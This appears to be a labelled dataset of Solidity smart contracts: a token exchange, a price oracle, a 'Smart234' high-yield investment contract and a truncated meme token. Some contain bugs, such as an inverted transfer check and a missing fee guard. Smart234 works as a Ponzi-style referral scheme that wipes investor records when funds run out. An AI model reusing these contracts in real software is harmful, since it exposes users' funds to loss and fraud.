function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract Ethex is SafeMath {
address public admin;
address public feeAccount;
uint public sellFee;
uint public buyFee;
mapping (bytes32 => uint) public sellOrders;
mapping (bytes32 => uint) public buyOrders;
event BuyOrder(bytes32 order, address token, uint amount, uint price, address buyer);
event SellOrder(bytes32 order,address token, uint amount, uint price, address seller);
event CancelBuyOrder(bytes32 order, address token, uint price, address buyer);
event CancelSellOrder(bytes32 order, address token, uint price, address seller);
event Buy(bytes32 order, address token, uint amount, uint price, address buyer, address seller);
event Sell(bytes32 order, address token, uint amount, uint price, address buyer, address seller);
function Ethex(address admin_, address feeAccount_, uint buyFee_, uint sellFee_) {
admin = admin_;
feeAccount = feeAccount_;
buyFee = buyFee_;
sellFee = sellFee_;
}
function() {
throw;
}
function changeAdmin(address admin_) {
if (msg.sender != admin) throw;
admin = admin_;
}
function changeFeeAccount(address feeAccount_) {
if (msg.sender != admin) throw;
feeAccount = feeAccount_;
}
function changeBuyFee(uint buyFee_) {
if (msg.sender != admin) throw;
if (buyFee_ > buyFee) throw;
buyFee = buyFee_;
}
function changeSellFee(uint sellFee_) {
if (msg.sender != admin) throw;
if (sellFee_ > sellFee)
sellFee = sellFee_;
}
function sellOrder(address token, uint tokenAmount, uint price) {
bytes32 h = sha256(token, price, msg.sender);
sellOrders[h] = safeAdd(sellOrders[h],tokenAmount);
SellOrder(h, token, tokenAmount, price, msg.sender);
}
function buyOrder(address token, uint tokenAmount, uint price) payable {
bytes32 h = sha256(token, price, msg.sender);
uint totalCost = tokenAmount*price;
if (totalCost < msg.value) throw;
buyOrders[h] = safeAdd(buyOrders[h],msg.value);
BuyOrder(h, token, tokenAmount, price, msg.sender);
}
function cancelSellOrder(address token, uint price) {
bytes32 h = sha256(token, price, msg.sender);
delete sellOrders[h];
CancelSellOrder(h,token,price,msg.sender);
}
function cancelBuyOrder(address token, uint price) {
bytes32 h = sha256(token, price, msg.sender);
uint remain = buyOrders[h];
delete buyOrders[h];
if (!msg.sender.call.value(remain)()) throw;
CancelBuyOrder(h,token,price,msg.sender);
}
function totalBuyPrice(uint amount, uint price) public constant returns (uint) {
uint totalPriceNoFee = safeMul(amount, price);
uint totalFee = safeMul(totalPriceNoFee, buyFee) / (1 ether);
uint totalPrice = safeAdd(totalPriceNoFee,totalFee);
return totalPrice;
}
function takeBuy(address token, uint amount, uint price, address buyer) payable {
bytes32 h = sha256(token, price, buyer);
uint totalPriceNoFee = safeMul(amount, price);
uint totalFee = safeMul(totalPriceNoFee, buyFee) / (1 ether);
uint totalPrice = safeAdd(totalPriceNoFee,totalFee);
if (buyOrders[h] < amount) throw;
if (totalPrice > msg.value) throw;
if (Token(token).allowance(msg.sender,this) < amount) throw;
if (Token(token).transferFrom(msg.sender,buyer,amount)) throw;
buyOrders[h] = safeSub(buyOrders[h], amount);
if (!feeAccount.send(totalFee)) throw;
uint leftOver = msg.value - totalPrice;
if (leftOver>0)
if (!msg.sender.send(leftOver)) throw;
Buy(h, token, amount, totalPrice, buyer, msg.sender);
}
function totalSellPrice(uint amount, uint price) public constant returns (uint) {
uint totalPriceNoFee = safeMul(amount, price);
uint totalFee = safeMul(totalPriceNoFee, buyFee) / (1 ether);
uint totalPrice = safeSub(totalPriceNoFee,totalFee);
return totalPrice;
}
function takeSell(address token, uint amount,uint price, address seller) payable {
bytes32 h = sha256(token, price, seller);
uint totalPriceNoFee = safeMul(amount, price);
uint totalFee = safeMul(totalPriceNoFee, buyFee) / (1 ether);
uint totalPrice = safeSub(totalPriceNoFee,totalFee);
if (sellOrders[h] < amount) throw;
if (Token(token).allowance(seller,this) < amount) throw;
if (!Token(token).transferFrom(seller,msg.sender,amount)) throw;
sellOrders[h] = safeSub(sellOrders[h],amount);
if (!seller.send(totalPrice)) throw;
if (!feeAccount.send(totalFee)) throw;
Sell(h, token, amount, totalPrice, msg.sender, seller);
}
} | 1 | 2,948 |
pragma solidity ^0.4.24;
contract Token {
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function approve(address _spender, uint256 _value) public returns (bool success);
function increaseApproval (address _spender, uint _addedValue) public returns (bool success);
function balanceOf(address _owner) public view returns (uint256 balance);
}
contract Ownable {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner, "msg.sender is not the owner");
_;
}
constructor() public {
owner = msg.sender;
}
function transferTo(address _to) external onlyOwner returns (bool) {
require(_to != address(0), "Can't transfer to address 0x0");
owner = _to;
return true;
}
}
contract Oracle is Ownable {
uint256 public constant VERSION = 4;
event NewSymbol(bytes32 _currency);
mapping(bytes32 => bool) public supported;
bytes32[] public currencies;
function url() public view returns (string);
function getRate(bytes32 symbol, bytes data) external returns (uint256 rate, uint256 decimals);
function addCurrency(string ticker) public onlyOwner returns (bool) {
bytes32 currency = encodeCurrency(ticker);
emit NewSymbol(currency);
supported[currency] = true;
currencies.push(currency);
return true;
}
function encodeCurrency(string currency) public pure returns (bytes32 o) {
require(bytes(currency).length <= 32, "Currency too long");
assembly {
o := mload(add(currency, 32))
}
}
function decodeCurrency(bytes32 b) public pure returns (string o) {
uint256 ns = 256;
while (true) { if (ns == 0 || (b<<ns-8) != 0) break; ns -= 8; }
assembly {
ns := div(ns, 8)
o := mload(0x40)
mstore(0x40, add(o, and(add(add(ns, 0x20), 0x1f), not(0x1f))))
mstore(o, ns)
mstore(add(o, 32), b)
}
}
}
contract Engine {
uint256 public VERSION;
string public VERSION_NAME;
enum Status { initial, lent, paid, destroyed }
struct Approbation {
bool approved;
bytes data;
bytes32 checksum;
}
function getTotalLoans() public view returns (uint256);
function getOracle(uint index) public view returns (Oracle);
function getBorrower(uint index) public view returns (address);
function getCosigner(uint index) public view returns (address);
function ownerOf(uint256) public view returns (address owner);
function getCreator(uint index) public view returns (address);
function getAmount(uint index) public view returns (uint256);
function getPaid(uint index) public view returns (uint256);
function getDueTime(uint index) public view returns (uint256);
function getApprobation(uint index, address _address) public view returns (bool);
function getStatus(uint index) public view returns (Status);
function isApproved(uint index) public view returns (bool);
function getPendingAmount(uint index) public returns (uint256);
function getCurrency(uint index) public view returns (bytes32);
function cosign(uint index, uint256 cost) external returns (bool);
function approveLoan(uint index) public returns (bool);
function transfer(address to, uint256 index) public returns (bool);
function takeOwnership(uint256 index) public returns (bool);
function withdrawal(uint index, address to, uint256 amount) public returns (bool);
function identifierToIndex(bytes32 signature) public view returns (uint256);
}
contract Cosigner {
uint256 public constant VERSION = 2;
function url() public view returns (string);
function cost(address engine, uint256 index, bytes data, bytes oracleData) public view returns (uint256);
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool);
function claim(address engine, uint256 index, bytes oracleData) public returns (bool);
}
contract TokenConverter {
address public constant ETH_ADDRESS = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
function getReturn(Token _fromToken, Token _toToken, uint256 _fromAmount) external view returns (uint256 amount);
function convert(Token _fromToken, Token _toToken, uint256 _fromAmount, uint256 _minReturn) external payable returns (uint256 amount);
}
contract TokenConverterOracle2 is Oracle {
address public delegate;
address public ogToken;
mapping(bytes32 => Currency) public sources;
mapping(bytes32 => Cache) public cache;
event DelegatedCall(address _requester, address _to);
event CacheHit(address _requester, bytes32 _currency, uint256 _rate, uint256 _decimals);
event DeliveredRate(address _requester, bytes32 _currency, uint256 _rate, uint256 _decimals);
event SetSource(bytes32 _currency, address _converter, address _token, uint128 _sample, bool _cached);
event SetDelegate(address _prev, address _new);
event SetOgToken(address _prev, address _new);
struct Cache {
uint64 decimals;
uint64 blockNumber;
uint128 rate;
}
struct Currency {
bool cached;
uint8 decimals;
address converter;
address token;
}
function setDelegate(
address _delegate
) external onlyOwner {
emit SetDelegate(delegate, _delegate);
delegate = _delegate;
}
function setOgToken(
address _ogToken
) external onlyOwner {
emit SetOgToken(ogToken, _ogToken);
ogToken = _ogToken;
}
function setCurrency(
string code,
address converter,
address token,
uint8 decimals,
bool cached
) external onlyOwner returns (bool) {
bytes32 currency = encodeCurrency(code);
if (!supported[currency]) {
emit NewSymbol(currency);
supported[currency] = true;
currencies.push(currency);
}
sources[currency] = Currency({
cached: cached,
converter: converter,
token: token,
decimals: decimals
});
emit SetSource(currency, converter, token, decimals, cached);
return true;
}
function url() public view returns (string) {
return "";
}
function getRate(
bytes32 _symbol,
bytes _data
) external returns (uint256 rate, uint256 decimals) {
if (delegate != address(0)) {
emit DelegatedCall(msg.sender, delegate);
return Oracle(delegate).getRate(_symbol, _data);
}
Currency memory currency = sources[_symbol];
if (currency.cached) {
Cache memory _cache = cache[_symbol];
if (_cache.blockNumber == block.number) {
emit CacheHit(msg.sender, _symbol, _cache.rate, _cache.decimals);
return (_cache.rate, _cache.decimals);
}
}
require(currency.converter != address(0), "Currency not supported");
decimals = currency.decimals;
rate = TokenConverter(currency.converter).getReturn(Token(currency.token), Token(ogToken), 10 ** decimals);
emit DeliveredRate(msg.sender, _symbol, rate, decimals);
if (currency.cached && rate < 340282366920938463463374607431768211456) {
cache[_symbol] = Cache({
decimals: currency.decimals,
blockNumber: uint64(block.number),
rate: uint128(rate)
});
}
}
} | 1 | 5,131 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
}
contract InvestorsStorage {
using SafeMath for uint256;
address private owner;
uint private _investorsCount;
struct Deposit {
uint amount;
uint start;
}
struct Investor {
Deposit[] deposits;
uint checkpoint;
address referrer;
}
mapping (address => Investor) private investors;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function addDeposit(address _address, uint _value) external onlyOwner {
investors[_address].deposits.push(Deposit(_value, block.timestamp));
if (investors[_address].checkpoint == 0) {
investors[_address].checkpoint = block.timestamp;
_investorsCount += 1;
}
}
function updateCheckpoint(address _address) external onlyOwner {
investors[_address].checkpoint = block.timestamp;
}
function addReferrer(address _referral, address _referrer) external onlyOwner {
investors[_referral].referrer = _referrer;
}
function getInterest(address _address, uint _index, bool _exception) public view returns(uint) {
if (investors[_address].deposits[_index].amount > 0) {
if (_exception) {
uint time = investors[_address].deposits[_index].start;
} else {
time = investors[_address].checkpoint;
}
return(234 + ((block.timestamp - time) / 1 days) * 2);
}
}
function isException(address _address, uint _index) public view returns(bool) {
if (investors[_address].deposits[_index].start > investors[_address].checkpoint) {
return true;
}
}
function d(address _address, uint _index) public view returns(uint) {
return investors[_address].deposits[_index].amount;
}
function c(address _address) public view returns(uint) {
return investors[_address].checkpoint;
}
function r(address _address) external view returns(address) {
return investors[_address].referrer;
}
function s(address _address, uint _index) public view returns(uint) {
return investors[_address].deposits[_index].start;
}
function sumOfDeposits(address _address) external view returns(uint) {
uint sum;
for (uint i = 0; i < investors[_address].deposits.length; i++) {
sum += investors[_address].deposits[i].amount;
}
return sum;
}
function amountOfDeposits(address _address) external view returns(uint) {
return investors[_address].deposits.length;
}
function dividends(address _address) external view returns(uint) {
uint _payout;
uint percent = getInterest(_address, 0, false);
for (uint i = 0; i < investors[_address].deposits.length; i++) {
if (!isException(_address, i)) {
_payout += (d(_address, i).mul(percent).div(10000)).mul(block.timestamp.sub(c(_address))).div(1 days);
} else {
_payout += (d(_address, i).mul(getInterest(_address, i, true)).div(10000)).mul(block.timestamp.sub(s(_address, i))).div(1 days);
}
}
return _payout;
}
function investorsCount() external view returns(uint) {
return _investorsCount;
}
}
contract Smart234 {
using SafeMath for uint;
address admin;
uint waveStartUp;
uint invested;
uint payed;
uint startTime;
event LogInvestment(address indexed _addr, uint _value, uint _bonus);
event LogIncome(address indexed _addr, uint _value);
event LogReferrerAdded(address indexed _investor, address indexed _referrer);
event LogRefBonus(address indexed _investor, address indexed _referrer, uint _amount, uint indexed _level);
event LogNewWave(uint _waveStartUp);
InvestorsStorage private x;
modifier notOnPause() {
require(waveStartUp <= block.timestamp);
_;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedReferrer) {
assembly {
parsedReferrer := mload(add(_source,0x14))
}
return parsedReferrer;
}
function addReferrer() internal returns(uint) {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender) {
x.addReferrer(msg.sender, _referrer);
emit LogReferrerAdded(msg.sender, _referrer);
return(msg.value / 20);
}
}
function refSystem() private {
address first = x.r(msg.sender);
if (x.amountOfDeposits(first) < 500) {
x.addDeposit(first, msg.value / 10);
emit LogRefBonus(msg.sender, first, msg.value / 10, 1);
}
address second = x.r(first);
if (second != 0x0) {
if (x.amountOfDeposits(second) < 500) {
x.addDeposit(second, msg.value / 20);
emit LogRefBonus(msg.sender, second, msg.value / 20, 2);
}
address third = x.r(second);
if (third != 0x0) {
if (x.amountOfDeposits(third) < 500) {
x.addDeposit(third, msg.value * 3 / 100);
emit LogRefBonus(msg.sender, third, msg.value * 3 / 100, 3);
}
}
}
}
constructor(address _admin) public {
admin = _admin;
x = new InvestorsStorage();
startTime = now;
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest();
}
}
function invest() notOnPause public payable {
admin.transfer(msg.value / 25);
if (x.r(msg.sender) != 0x0) {
refSystem();
} else if (msg.data.length == 20) {
uint bonus = addReferrer();
refSystem();
}
x.addDeposit(msg.sender, msg.value + bonus);
invested += msg.value;
emit LogInvestment(msg.sender, msg.value, bonus);
}
function withdraw() public {
uint _payout = x.dividends(msg.sender);
if (_payout > 0) {
if (_payout > address(this).balance) {
nextWave();
return;
}
x.updateCheckpoint(msg.sender);
admin.transfer(_payout / 25);
msg.sender.transfer(_payout * 24 / 25);
emit LogIncome(msg.sender, _payout);
payed += _payout;
}
}
function getDeposits(address _address) external view returns(uint) {
return x.sumOfDeposits(_address);
}
function getDividends(address _address) external view returns(uint) {
return x.dividends(_address);
}
function getDividendsWithFee(address _address) external view returns(uint) {
return x.dividends(_address) * 24 / 25;
}
function getDaysAfterStart() external view returns(uint) {
return (block.timestamp.sub(startTime)) / 1 days;
}
function investorsCount() external view returns(uint) {
return x.investorsCount();
}
function getInvestedAmount() external view returns(uint) {
return invested;
}
function getPayedAmount() external view returns(uint) {
return payed;
}
function nextWave() private {
x = new InvestorsStorage();
invested = 0;
payed = 0;
waveStartUp = block.timestamp + 7 days;
emit LogNewWave(waveStartUp);
}
} | 1 | 4,932 |
pragma solidity ^0.7.5;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != -1 || a != MIN_INT256);
return a / b;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SleepyApe is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private swapping;
bool private um = true;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping (address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = false;
bool private boughtEarly = true;
uint256 private _firstBlock;
uint256 private _botBlocks;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event EndedBoughtEarly(bool boughtEarly);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20("Sleepy Ape", "SleepyApe") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 0;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee = 2;
uint256 _sellLiquidityFee = 10;
uint256 _sellDevFee = 1;
uint256 totalSupply = 1e14 * 1e18;
maxTransactionAmount = totalSupply * 1 / 100;
maxWallet = totalSupply * 2 / 100;
swapTokensAtAmount = totalSupply * 5 / 10000;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = payable(0x4B10bF8404ceE896a8Ebc4CE7570aeF4176A8a7e);
devWallet = payable(0x4B10bF8404ceE896a8Ebc4CE7570aeF4176A8a7e);
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(devWallet), true);
excludeFromFees(address(marketingWallet), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(devWallet), true);
excludeFromMaxTransaction(address(marketingWallet), true);
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
